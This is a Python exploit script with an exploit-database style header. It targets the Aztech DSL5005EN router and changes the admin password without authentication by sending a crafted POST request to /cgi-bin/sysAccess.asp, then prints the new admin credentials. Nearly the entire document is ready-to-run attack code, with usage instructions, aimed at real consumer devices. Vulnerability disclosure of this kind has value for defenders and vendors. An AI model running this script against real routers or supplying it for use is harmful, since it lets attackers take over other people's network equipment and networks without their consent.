Aztech DSL5005EN Router - 'sysAccess.asp' Admin Password Change (Unauthenticated)

# Exploit Title: Aztech DSL5005EN Router - 'sysAccess.asp' Admin Password Change (Unauthenticated)
# Date: 2025-02-26
# Exploit Author: Amir Hossein Jamshidi
# Vendor Homepage: https://www.aztech.com
# Version: DSL5005EN
# Tested on: Linux
# CVE: N/A

import requests
import argparse

print('''
#################################################################################
#       aztech DSL5005EN router/modem - admin password change (Unauthenticated) #
#                   BY: Amir Hossein Jamshidi                                   #
#               Mail: [email protected]                           #
#           github: https://github.com/amirhosseinjamshidi64                    #
#       Usage: python Exploit.py --ip TRAGET_IP --password PASSWORD             #
#################################################################################
''')

def change_password(ip_address, password):
    """
    Changes the password of a device at the given IP address.

    Args:
        ip_address: The IP address of the device (e.g., "192.168.1.1").
        password:   The new password to set.
    """

    url = f"http://{ip_address}/cgi-bin/sysAccess.asp"
    origin = f"http://{ip_address}"
    referer = f"http://{ip_address}/cgi-bin/sysAccess.asp"

    payload = {
        "saveFlag": "1",
        "adminFlag": "1",
        "SaveBtn": "SAVE",
        "uiViewTools_Password": password,
        "uiViewTools_PasswordConfirm": password
    }

    headers = {
        "Cache-Control": "max-age=0",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": origin,
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": referer,
        "Connection": "keep-alive"
    }

    try:
        response = requests.post(url, data=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            print(f"Password change request to {ip_address} successful!")
            print(f"Username: admin")
            print(f"Password: {password}")
        else:
            print(f"Request to {ip_address} failed with status code: {response.status_code}")
            print(f"Response content:\n{response.text}")  # Print response for debugging

    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Change password of a device.")
    parser.add_argument("--ip", dest="ip_address", required=True, help="The IP address of the device.")
    parser.add_argument("--password", dest="password", required=True, help="The new password to set.")
    args = parser.parse_args()

    change_password(args.ip_address, args.password)